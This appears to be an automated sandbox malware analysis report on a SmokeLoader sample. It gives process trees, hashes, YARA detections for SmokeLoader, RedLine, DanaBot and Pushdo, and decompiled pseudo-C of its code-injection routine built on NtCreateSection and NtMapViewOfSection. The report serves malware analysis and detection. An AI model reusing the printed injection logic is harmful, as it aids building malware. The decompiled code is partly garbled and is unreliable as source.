2023-02-16 12:57:38 UTC	544	IN	Data Raw: 67 00 61 00 76 00 6f 00 74 00 65 00 77 00 20 00 67 00 75 00 6c 00 6f 00 70 00 61 00 6c 00 69 00 59 00 52 00 61 00 67 00 69 00 62 00 69 00 72 00 65 00 63 00 69 00 73 00 20 00 6e 00 61 00 68 00 69 00 7a 00 6f 00 79 00 20 00 70 00 6f 00 76 00 61 00 70 00 75 00 68 00 65 00 6b 00 6f 00 79 00 61 00 67 00 20 00 70 00 75 00 68 00 61 00 77 00 61 00 20 00 6a 00 6f 00 70 00 69 00 79 00 75 00 62 00 69 00 6d 00 65 00 6c 00 65 00 68 00 6f 00 70 00 20 00 73 00 75 00 63 00 75 00 79 00 69 00 67 00 6f 00 6e 00 6f 00 6b 00 69 00 76 00 6f 00 20 00 70 00 6f 00 73 00 6f 00 64 00 65 00 67 00 75 00 68 00 69 00 62 00 61 00 20 00 63 00 75 00 79 00 6f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: gavotew gulopaliYRagibirecis nahizoy povapuhekoyag puhawa jopiyubimelehop sucuyigonokivo posodeguhiba cuyo

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: file.exePID: 5892, Parent PID: 3452

General

Target ID:	0
Start time:	13:56:25
Start date:	16/02/2023
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\file.exe
Imagebase:	0x400000
File size:	183296 bytes
MD5 hash:	D418791F343E4C979994D9D719A4B720
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000000.00000002.302147323.0000000000760000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000000.00000002.302176003.0000000000770000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000000.00000002.302176003.0000000000770000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000000.00000002.302320400.0000000000901000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000000.00000002.302320400.0000000000901000.00000004.10000000.00040000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000002.302433591.000000000094D000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: explorer.exePID: 3452, Parent PID: 5892

General

Target ID:	1
Start time:	13:56:31
Start date:	16/02/2023
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0x7ff69fe90000
File size:	3933184 bytes
MD5 hash:	AD5296B280E8F522A8A897C96BAB0E1D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: eviivjgPID: 5712, Parent PID: 1080

General

Target ID:	10
Start time:	13:57:11
Start date:	16/02/2023
Path:	C:\Users\user\AppData\Roaming\eviivjg
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\eviivjg
Imagebase:	0x400000
File size:	183296 bytes
MD5 hash:	D418791F343E4C979994D9D719A4B720
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000000A.00000002.367359539.0000000000A8B000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 0000000A.00000002.367016425.00000000008B0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 0000000A.00000002.367109929.00000000009F1000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 0000000A.00000002.367109929.00000000009F1000.00000004.10000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 0000000A.00000002.367033769.00000000008C0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 0000000A.00000002.367033769.00000000008C0000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 69%, ReversingLabs
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: B9D7.exePID: 5876, Parent PID: 3452

General

Target ID:	11
Start time:	13:57:24
Start date:	16/02/2023
Path:	C:\Users\user\AppData\Local\Temp\B9D7.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\B9D7.exe
Imagebase:	0x400000
File size:	3884544 bytes
MD5 hash:	87B2335C70644C8760842168AB533110
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_DanaBot_stealer_dll_1, Description: Yara detected DanaBot stealer dll, Source: 0000000B.00000003.385202349.0000000002F30000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: AF0C.exePID: 5576, Parent PID: 3452

General

Target ID:	12
Start time:	13:57:37
Start date:	16/02/2023
Path:	C:\Users\user\AppData\Local\Temp\AF0C.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\AF0C.exe
Imagebase:	0x400000
File size:	567808 bytes
MD5 hash:	351E9D6C319A51D02291C57DCCD2837F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 0000000C.00000002.434575102.0000000000413000.00000040.00000001.01000000.00000009.sdmp, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000000C.00000002.434869552.000000000092C000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 0000000C.00000002.434764935.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: AF0C.exePID: 6096, Parent PID: 6132

General

Target ID:	19
Start time:	13:57:48
Start date:	16/02/2023
Path:	C:\Users\user\AppData\Local\Temp\AF0C.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\AF0C.exe"
Imagebase:	0x400000
File size:	567808 bytes
MD5 hash:	351E9D6C319A51D02291C57DCCD2837F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000013.00000002.452239814.0000000000413000.00000040.00000001.01000000.00000009.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000013.00000002.453219998.0000000002110000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000013.00000002.452887141.0000000000651000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: C60F.exePID: 6116, Parent PID: 3452

General

Target ID:	20
Start time:	13:58:11
Start date:	16/02/2023
Path:	C:\Users\user\AppData\Local\Temp\C60F.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\C60F.exe
Imagebase:	0xc50000
File size:	459264 bytes
MD5 hash:	A0114856020C2A20C6C85A7DB2027B03
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Pushdo, Description: Yara detected Backdoor Pushdo, Source: 00000014.00000002.536576305.0000000000720000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 21%, ReversingLabs
Reputation:	low

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: file.exePID: 5892, Parent PID: 3452COMMON

Execution Graph

Execution Coverage:	5.1%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	44%
Total number of Nodes:	109
Total number of Limit Nodes:	3

Executed Functions

Function 004014F2 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 220
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 17%

			E004014F2(signed int __eax, void* __ebx, void* __ecx, signed int __edx, void* __fp0) {
				signed int _t13;
				signed int _t22;
				signed int _t24;

				asm("jecxz 0x52");
				if((__edx ^ _t24) != 0) {
					asm("les esp, [esi]");
					asm("daa");
					asm("daa");
					asm("jecxz 0xffffff9f");
					 *(_t24 - 0x336aac21) =  *(_t24 - 0x336aac21) & __eax;
					_push(__eax);
					asm("fnstenv [ebx]");
					asm("fistp word [edi]");
					asm("popfd");
					asm("fcomp st0, st0");
					_t13 = _t22 & 0xcb332727;
					if(_t13 >= 0) {
						asm("fcomp st0, st0");
						_push(0xccbdb09e);
						asm("sbb al, 0xdc");
						asm("repe mov ecx, 0x336d3733");
						asm("aad 0x6a");
					}
					_push(0x1d);
					asm("aas");
					return _t13;
				} else {
					__al = __al + __bl;
					asm("fcomp st0, st0");
					 *__ebx =  *__ebx ^ 0x000000dd;
					__al = __al + __bh;
					__ebp = __ebp ^  *(0x27244c30 + __ebx * 2);
					asm("daa");
					__eax =  *((intOrPtr*)(__ebp - 0xc));
					_pop(__ebx);
					_pop(__ebp);
					return  *((intOrPtr*)(__ebp - 0xc));
				}
			}

0x004014f5
0x004014f7
0x004014a9
0x004014ab
0x004014ac
0x004014ad
0x004014af
0x004014b5
0x004014b6
0x004014b8
0x004014ba
0x004014bd
0x004014c6
0x004014cb
0x004014d2
0x004014d4
0x004014d8
0x004014dc
0x004014e2
0x004014e2
0x004014e3
0x004014e5
0x004014e6
0x004014f9
0x004014f9
0x004014fb
0x004014fd
0x00401500
0x00401502
0x00401509
0x0040150a
0x0040150f
0x00401510
0x00401511
0x00401511

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D4
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401601
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401624

Strings

37m3, xrefs: 004014DC

Memory Dump Source

Source File: 00000000.00000002.301981095.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Section$CreateDuplicateObjectView
String ID: 37m3
API String ID: 1652636561-2373783482
Opcode ID: de69b31deb9f01e35e7c91c6462f01d37875242edd855285f6934d222b1f2154
Instruction ID: a8aa84dfcf73c31766574aff20fc3c5bedaa0235d1c96fa093caba5cd892e43f
Opcode Fuzzy Hash: de69b31deb9f01e35e7c91c6462f01d37875242edd855285f6934d222b1f2154
Instruction Fuzzy Hash: A171C0B5900249BFEB209FA1CC48FEF7BB8EF85700F144569F911AA1E5E7719901CB64

Uniqueness

Uniqueness Score: -1.00%

Function 00401514 Relevance: 10.7, APIs: 7, Instructions: 205
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 56%

			E00401514(void* __eflags, intOrPtr _a4, intOrPtr* _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				long _v12;
				void* _v16;
				void* _v20;
				char _v44;
				char _v52;
				long _v56;
				long _v60;
				char _v64;
				char _v68;
				char _v72;
				char _v76;
				char _v84;
				char _v88;
				char _v92;
				intOrPtr _v96;
				char _v100;
				char _v288;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t86;
				intOrPtr _t89;
				intOrPtr _t92;
				struct _GUID _t100;
				struct _GUID _t102;
				PVOID* _t104;
				PVOID* _t106;
				char _t108;
				intOrPtr* _t110;
				PVOID* _t123;
				PVOID* _t125;
				void* _t129;
				intOrPtr _t130;
				intOrPtr _t131;
				intOrPtr* _t133;
				long* _t138;
				signed int _t140;
				int _t141;
				signed int _t162;
				signed int _t163;
				signed int _t164;
				void* _t165;
				intOrPtr* _t166;
				void* _t169;
				void* _t176;
				intOrPtr _t179;
				void* _t180;
				void* _t181;
				void* _t186;
				intOrPtr* _t187;
				intOrPtr* _t188;
				HANDLE* _t189;
				HANDLE* _t190;
				void* _t195;
				void* _t196;
				intOrPtr* _t199;
				void* _t200;
				intOrPtr _t204;
				void* _t205;
				intOrPtr* _t207;
				void* _t208;
				void* _t209;
				void* _t210;
				long _t225;
				void* _t231;

				_t86 = 0x1561;
				_push(0x38d);
				_t131 =  *_t207;
				_t208 = _t207 + 4;
				asm("cmc");
				E0040119E(_t86, _t129, _t131, 0xc0, _t176, _t186, __eflags, _t231);
				_t130 = _a4;
				_v56 = 0;
				if(gs != 0) {
					_v56 = _v56 + 1;
				}
				while(1) {
					_t89 =  *((intOrPtr*)(_t130 + 0x48))();
					if(_t89 != 0) {
						break;
					}
					 *((intOrPtr*)(_t130 + 0x1c))(0x3e8);
				}
				_v96 = _t89;
				_t187 =  &_v100;
				 *_t187 = 0;
				 *((intOrPtr*)(_t130 + 0x4c))(_t89, _t187);
				_t92 =  *_t187;
				if(_t92 != 0) {
					_t133 =  &_v52;
					 *_t133 = _t92;
					 *((intOrPtr*)(_t133 + 4)) = 0;
					_t188 =  &_v44;
					 *((intOrPtr*)(_t130 + 0x10))(_t188, 0x18);
					 *_t188 = 0x18;
					_push( &_v52);
					_push(_t188);
					_push(0x40);
					_push( &_v20);
					if( *((intOrPtr*)(_t130 + 0x70))() == 0 && NtDuplicateObject(_v20, 0xffffffff, 0xffffffff,  &_v16, 0, 0, 2) == 0) {
						_v12 = 0;
						_t100 =  &_v84;
						 *((intOrPtr*)(_t100 + 4)) = 0;
						 *_t100 = 0x5000;
						_t189 =  &_v88;
						if(NtCreateSection(_t189, 6, 0, _t100, 4, 0x8000000, 0) == 0) {
							_push(_v84);
							_pop( *_t25);
							_t123 =  &_v72;
							 *_t123 = 0;
							if(NtMapViewOfSection( *_t189, 0xffffffff, _t123, 0, 0, 0,  &_v60, 1, 0, 4) == 0) {
								_t125 =  &_v64;
								 *_t125 = 0;
								if(NtMapViewOfSection( *_t189, _v16, _t125, 0, 0, 0,  &_v60, 1, 0, 4) == 0) {
									_t204 = _v72;
									 *((intOrPtr*)(_t130 + 0x20))(0, _t204, 0x104);
									 *((intOrPtr*)(_t204 + 0x208)) = _a16;
									_v12 = _v12 + 1;
								}
							}
						}
						_t102 =  &_v84;
						 *((intOrPtr*)(_t102 + 4)) = 0;
						 *_t102 = _a12 + 0x10000;
						_t190 =  &_v92;
						if(NtCreateSection(_t190, 0xe, 0, _t102, 0x40, 0x8000000, 0) == 0 && _v12 != 0) {
							_push(_v84);
							_pop( *_t46);
							_t104 =  &_v76;
							 *_t104 = 0;
							if(NtMapViewOfSection( *_t190, 0xffffffff, _t104, 0, 0, 0,  &_v60, 1, 0, 4) == 0) {
								_t106 =  &_v68;
								 *_t106 = 0;
								_t138 =  &_v60;
								_t225 = NtMapViewOfSection( *_t190, _v16, _t106, 0, 0, 0, _t138, 1, 0, 0x20);
								if(_t225 == 0) {
									L25();
									if(_t225 == 0 && _t225 != 0) {
										 *_t138 = _t190;
										_t208 = _t205;
									}
									_t209 = _t208 + 4;
									_push(0x2e41);
									_push(0x2260);
									_t108 = _v288;
									_t210 = _t209 + 4;
									_t162 = (0x2260 << 5) + _t108;
									asm("lodsb");
									_t163 = _t162;
									asm("loop 0xffffffc1");
									_t164 = _t163 ^ 0xa3491271;
									_t208 = _t210 - _t164;
									_t195 = _a8 +  *_a8;
									_t140 =  *(_t195 + 6) & 0x0000ffff;
									_push(_t195);
									_t165 = _t195;
									if(_v56 == 0) {
										_t166 = _t165 + 0xf8;
										__eflags = _t166;
									} else {
										_t166 = _t165 + 0x108;
									}
									_push(_t140);
									_t141 =  *(_t166 + 0x10);
									if(_t141 != 0) {
										memcpy( *((intOrPtr*)(_t166 + 0xc)) + _v76,  *((intOrPtr*)(_t166 + 0x14)) + _a8, _t141);
										_t208 = _t208 + 0xc;
									}
									asm("loop 0xffffffe6");
									_pop(_t196);
									_t229 = _v56;
									if(_v56 == 0) {
										_push(_t196);
										_t169 =  *((intOrPtr*)(_t196 + 0x34)) - _v68;
										_t199 =  *((intOrPtr*)(_t196 + 0xa0)) + _v76;
										__eflags = _t199;
										while(1) {
											__eflags =  *_t199;
											if( *_t199 == 0) {
												break;
											}
											_t179 =  *_t199;
											_t199 = _t199 + 8;
											asm("lodsw");
											__eflags = 0;
											if(0 != 0) {
												 *0x00000000 =  *0x00000000 - _t169;
												__eflags =  *((intOrPtr*)(0 + _v76 + _t179));
											}
											asm("loop 0xffffffe9");
										}
										_pop(_t200);
										__eflags = 0;
										_t110 =  &_v8;
										 *_t110 = 0;
										 *((intOrPtr*)(_t130 + 0x98))(_v16, 0, 0, 0, 0, 0,  *((intOrPtr*)(_t200 + 0x28)) + _v68, _v64, _t110, 0);
									} else {
										L58();
										_pop(_t180);
										_t181 = _t180 - 0x17da;
										 *((intOrPtr*)(_t181 + 0x180e)) = _t181 + 0x2f6c;
										E00401217(_t130, _t229, _t231, _t181 + 0x2f6c, 0x1ad);
										0x33();
										 *((intOrPtr*)(_t181 + 0x1833)) = _t181 + 0x2fbc;
										0x33();
									}
								}
							}
						}
					}
				}
				_push(0x38d);
				_push(0xc0);
				asm("les eax, [ebx+ebp*8]");
				return __eax;
			}

0x00401529
0x00401536
0x0040153b
0x0040153e
0x0040155a
0x0040155c
0x00401561
0x00401566
0x0040156f
0x00401571
0x00401571
0x00401574
0x00401574
0x00401579
0x00000000
0x00000000
0x004018a3
0x004018a3
0x0040157f
0x00401582
0x00401585
0x00401589
0x0040158c
0x00401590
0x00401596
0x00401599
0x0040159b
0x0040159e
0x004015a4
0x004015a7
0x004015b5
0x004015b6
0x004015b7
0x004015b9
0x004015bf
0x004015e2
0x004015e5
0x004015e8
0x004015eb
0x004015f1
0x00401606
0x00401608
0x0040160b
0x0040160e
0x00401611
0x00401629
0x0040162b
0x0040162e
0x00401647
0x00401649
0x00401653
0x00401659
0x0040165f
0x0040165f
0x00401647
0x00401629
0x00401662
0x0040166e
0x00401671
0x00401673
0x00401688
0x00401698
0x0040169b
0x0040169e
0x004016a1
0x004016b9
0x004016bf
0x004016c2
0x004016c4
0x004016d9
0x004016db
0x004016e1
0x004016e6
0x004016ea
0x004016ec
0x004016ec
0x004016ed
0x00401717
0x00401740
0x00401741
0x00401744
0x0040175b
0x0040176a
0x00401772
0x00401777
0x00401780
0x00401789
0x00401795
0x00401797
0x0040179b
0x0040179c
0x004017a2
0x004017ac
0x004017ac
0x004017a4
0x004017a4
0x004017a4
0x004017b2
0x004017b3
0x004017b8
0x004017c6
0x004017c6
0x004017c6
0x004017cc
0x004017ce
0x004017cf
0x004017d3
0x0040183b
0x0040183f
0x0040184a
0x0040184a
0x0040184d
0x0040184d
0x00401850
0x00000000
0x00000000
0x00401852
0x0040185c
0x00401861
0x00401863
0x00401868
0x00401874
0x00401874
0x00401874
0x00401876
0x00401876
0x0040187a
0x00401881
0x00401883
0x00401886
0x00401896
0x004017d5
0x004017d5
0x004017da
0x004017db
0x004017f1
0x00401800
0x0040180d
0x00401824
0x00401832
0x00401832
0x004017d3
0x004016db
0x004016b9
0x00401688
0x004015bf
0x004018c3
0x004018d7
0x004018e0
0x004018f2

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D4
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401601
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401624
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401642
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401683
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016B4
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016D6

Memory Dump Source

Source File: 00000000.00000002.301981095.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: ee7df8332a015d020675fe9d5738b42a699687d4ee2a3031125f4e7c00d6bff1
Instruction ID: 208a9abdd1aee22c33f973a86314166aafce39c53584160e1e70edf4842307f5
Opcode Fuzzy Hash: ee7df8332a015d020675fe9d5738b42a699687d4ee2a3031125f4e7c00d6bff1
Instruction Fuzzy Hash: 93616175900204FBEB209F91DC89FAF7BB8EF85700F10412AF912BA1E4D7759901DB65

Uniqueness

Uniqueness Score: -1.00%

Function 0040152C Relevance: 10.7, APIs: 7, Instructions: 174
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 59%

			E0040152C(signed int __ebx, signed int __ecx, void* __edi, void* __esi) {
				void* _t86;
				intOrPtr _t89;
				intOrPtr _t92;
				struct _GUID _t100;
				struct _GUID _t102;
				PVOID* _t104;
				PVOID* _t106;
				intOrPtr _t108;
				intOrPtr* _t110;
				PVOID* _t123;
				PVOID* _t125;
				intOrPtr _t131;
				intOrPtr _t133;
				intOrPtr* _t135;
				long* _t140;
				signed int _t142;
				int _t143;
				signed int _t164;
				signed int _t165;
				signed int _t166;
				void* _t167;
				intOrPtr* _t168;
				void* _t171;
				intOrPtr _t181;
				void* _t182;
				void* _t183;
				intOrPtr* _t189;
				intOrPtr* _t190;
				HANDLE* _t191;
				HANDLE* _t192;
				void* _t197;
				void* _t198;
				intOrPtr* _t201;
				void* _t202;
				void* _t206;
				void* _t207;
				intOrPtr* _t208;
				void* _t209;
				intOrPtr* _t210;
				void* _t211;
				signed char _t212;
				long _t226;
				void* _t232;

				asm("pushfd");
				_t130 = __ebx | __ecx;
				_t212 = __ebx | __ecx;
				_t86 = 0x1561;
				_push(0x38d);
				_t133 =  *_t208;
				_t209 = _t208 + 4;
				asm("cmc");
				E0040119E(_t86, _t130, _t133, 0xc0, __edi, __esi, _t212, _t232);
				_t131 =  *((intOrPtr*)(_t207 + 8));
				 *((intOrPtr*)(_t207 - 0x34)) = 0;
				if(gs != 0) {
					 *((intOrPtr*)(_t207 - 0x34)) =  *((intOrPtr*)(_t207 - 0x34)) + 1;
				}
				while(1) {
					_t89 =  *((intOrPtr*)(_t131 + 0x48))();
					if(_t89 != 0) {
						break;
					}
					 *((intOrPtr*)(_t131 + 0x1c))(0x3e8);
				}
				 *((intOrPtr*)(_t207 - 0x5c)) = _t89;
				_t189 = _t207 - 0x60;
				 *_t189 = 0;
				 *((intOrPtr*)(_t131 + 0x4c))(_t89, _t189);
				_t92 =  *_t189;
				if(_t92 != 0) {
					_t135 = _t207 - 0x30;
					 *_t135 = _t92;
					 *((intOrPtr*)(_t135 + 4)) = 0;
					_t190 = _t207 - 0x28;
					 *((intOrPtr*)(_t131 + 0x10))(_t190, 0x18);
					 *_t190 = 0x18;
					_push(_t207 - 0x30);
					_push(_t190);
					_push(0x40);
					_push(_t207 - 0x10);
					if( *((intOrPtr*)(_t131 + 0x70))() == 0 && NtDuplicateObject( *(_t207 - 0x10), 0xffffffff, 0xffffffff, _t207 - 0xc, 0, 0, 2) == 0) {
						 *((intOrPtr*)(_t207 - 8)) = 0;
						_t100 = _t207 - 0x50;
						 *((intOrPtr*)(_t100 + 4)) = 0;
						 *_t100 = 0x5000;
						_t191 = _t207 - 0x54;
						if(NtCreateSection(_t191, 6, 0, _t100, 4, 0x8000000, 0) == 0) {
							 *_t25 =  *(_t207 - 0x50);
							_t123 = _t207 - 0x44;
							 *_t123 = 0;
							if(NtMapViewOfSection( *_t191, 0xffffffff, _t123, 0, 0, 0, _t207 - 0x38, 1, 0, 4) == 0) {
								_t125 = _t207 - 0x3c;
								 *_t125 = 0;
								if(NtMapViewOfSection( *_t191,  *(_t207 - 0xc), _t125, 0, 0, 0, _t207 - 0x38, 1, 0, 4) == 0) {
									_t206 =  *(_t207 - 0x44);
									 *((intOrPtr*)(_t131 + 0x20))(0, _t206, 0x104);
									 *((intOrPtr*)(_t206 + 0x208)) =  *((intOrPtr*)(_t207 + 0x14));
									 *((intOrPtr*)(_t207 - 8)) =  *((intOrPtr*)(_t207 - 8)) + 1;
								}
							}
						}
						_t102 = _t207 - 0x50;
						 *((intOrPtr*)(_t102 + 4)) = 0;
						 *_t102 =  *((intOrPtr*)(_t207 + 0x10)) + 0x10000;
						_t192 = _t207 - 0x58;
						if(NtCreateSection(_t192, 0xe, 0, _t102, 0x40, 0x8000000, 0) == 0 &&  *((intOrPtr*)(_t207 - 8)) != 0) {
							 *_t46 =  *(_t207 - 0x50);
							_t104 = _t207 - 0x48;
							 *_t104 = 0;
							if(NtMapViewOfSection( *_t192, 0xffffffff, _t104, 0, 0, 0, _t207 - 0x38, 1, 0, 4) == 0) {
								_t106 = _t207 - 0x40;
								 *_t106 = 0;
								_t140 = _t207 - 0x38;
								_t226 = NtMapViewOfSection( *_t192,  *(_t207 - 0xc), _t106, 0, 0, 0, _t140, 1, 0, 0x20);
								if(_t226 == 0) {
									L25();
									if(_t226 == 0 && _t226 != 0) {
										 *_t140 = _t192;
										_t209 = _t207;
										_pop(_t207);
									}
									_t210 = _t209 + 4;
									_push(0x2e41);
									_push(0x2260);
									_t108 =  *_t210;
									_t211 = _t210 + 4;
									_t164 = (0x2260 << 5) + _t108;
									asm("lodsb");
									_t165 = _t164;
									asm("loop 0xffffffc1");
									_t166 = _t165 ^ 0xa3491271;
									_t209 = _t211 - _t166;
									_t197 =  *((intOrPtr*)(_t207 + 0xc)) +  *((intOrPtr*)( *((intOrPtr*)(_t207 + 0xc))));
									_t142 =  *(_t197 + 6) & 0x0000ffff;
									_push(_t197);
									_t167 = _t197;
									if( *((intOrPtr*)(_t207 - 0x34)) == 0) {
										_t168 = _t167 + 0xf8;
										__eflags = _t168;
									} else {
										_t168 = _t167 + 0x108;
									}
									_push(_t142);
									_t143 =  *(_t168 + 0x10);
									if(_t143 != 0) {
										memcpy( *((intOrPtr*)(_t168 + 0xc)) +  *(_t207 - 0x48),  *((intOrPtr*)(_t168 + 0x14)) +  *((intOrPtr*)(_t207 + 0xc)), _t143);
										_t209 = _t209 + 0xc;
									}
									asm("loop 0xffffffe6");
									_pop(_t198);
									_t230 =  *((intOrPtr*)(_t207 - 0x34));
									if( *((intOrPtr*)(_t207 - 0x34)) == 0) {
										_push(_t198);
										_t171 =  *((intOrPtr*)(_t198 + 0x34)) -  *(_t207 - 0x40);
										_t201 =  *((intOrPtr*)(_t198 + 0xa0)) +  *(_t207 - 0x48);
										__eflags = _t201;
										while(1) {
											__eflags =  *_t201;
											if( *_t201 == 0) {
												break;
											}
											_t181 =  *_t201;
											_t201 = _t201 + 8;
											asm("lodsw");
											__eflags = 0;
											if(0 != 0) {
												 *0x00000000 =  *0x00000000 - _t171;
												__eflags =  *((intOrPtr*)( *(_t207 - 0x48) + 0 + _t181));
											}
											asm("loop 0xffffffe9");
										}
										_pop(_t202);
										__eflags = 0;
										_t110 = _t207 - 4;
										 *_t110 = 0;
										 *((intOrPtr*)(_t131 + 0x98))( *(_t207 - 0xc), 0, 0, 0, 0, 0,  *((intOrPtr*)(_t202 + 0x28)) +  *(_t207 - 0x40),  *(_t207 - 0x3c), _t110, 0);
									} else {
										L58();
										_pop(_t182);
										_t183 = _t182 - 0x17da;
										 *((intOrPtr*)(_t183 + 0x180e)) = _t183 + 0x2f6c;
										E00401217(_t131, _t230, _t232, _t183 + 0x2f6c, 0x1ad);
										0x33();
										 *((intOrPtr*)(_t183 + 0x1833)) = _t183 + 0x2fbc;
										0x33();
									}
								}
							}
						}
					}
				}
				asm("les eax, [ebx+ebp*8]");
				__eax = E0040119E(__eax, __ebx, __ecx, __edx, __edi, __esi, __eflags, __fp0);
				__edi = 0xc0;
				__esi = 0x38d;
				_pop(__ebx);
				__esp = __ebp;
				_pop(__ebp);
				return __eax;
			}

0x0040152c
0x0040152d
0x0040152d
0x00401529
0x00401536
0x0040153b
0x0040153e
0x0040155a
0x0040155c
0x00401561
0x00401566
0x0040156f
0x00401571
0x00401571
0x00401574
0x00401574
0x00401579
0x00000000
0x00000000
0x004018a3
0x004018a3
0x0040157f
0x00401582
0x00401585
0x00401589
0x0040158c
0x00401590
0x00401596
0x00401599
0x0040159b
0x0040159e
0x004015a4
0x004015a7
0x004015b5
0x004015b6
0x004015b7
0x004015b9
0x004015bf
0x004015e2
